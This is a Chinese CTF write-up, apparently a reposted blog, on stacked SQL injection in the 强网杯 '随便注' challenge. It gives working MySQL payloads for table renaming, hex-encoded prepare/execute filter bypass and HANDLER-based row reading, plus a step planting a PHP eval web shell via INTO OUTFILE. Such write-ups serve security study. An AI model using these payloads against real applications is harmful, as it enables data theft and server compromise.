堆叠注入引发的思考

写这篇博客是因为碰到了一道强网杯随便注的强化版,在这里分享一下总结。

开始的手法一样:通过堆叠注入的常规方法一路show到底可以得到库名表名字段名。
show databases;show tables;show columns from “表名”;

对于限制较小的随便注:

0x01 重命名

通过将`919810931114514`表改成words表,将该表中的flag改为id,使得一开始的查询语句由 select id from words where id=‘’ 变成 select flag from `1919810931114514` where flag=’’
从而查询出flag
payload: 1';rename table `words` to `a`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100);
接着直接 1’ or 1=1# 即可查询出flag。

0x02 预处理(set + prepare + execute)

因为 set后面是字符串所以我们可以用拼接或者十六进制的方式绕过过滤。

payload:1'; Set @a=concat("sele","ct flag from `1919810931114514`");prepare h from @a;execute h;或者
1'; Set @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare h from @a;execute h;

0x03命令执行

介于0x02的方法上,我们还可以深入些,比如写入木马,只需要将 @a后面的字符串修改下即可,比如 @a=select “<?php eval($_POST['a']);?>” into outfile"/var/www/html/1.php",当然我们不可能直接这么写,需要转成16进制。我们也可以,当然我们更能自己写一个查询语句,不过这样做有些多此一举。

那么如果这道题增加了过滤( select,set,prepare,rename)怎么办呢?

0x04 handler

介绍一下这个函数,有类似于select的功能,更强大的是,他可以在不知道字段名的前提下查询出字段的值。
payload:1';handler `1919810931114514` open as aaa;handler aaa read first;
其中的aaa为我们自己定义的名字,first为读第一行数据,与他并列的还有next(读取下一行);

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/104465584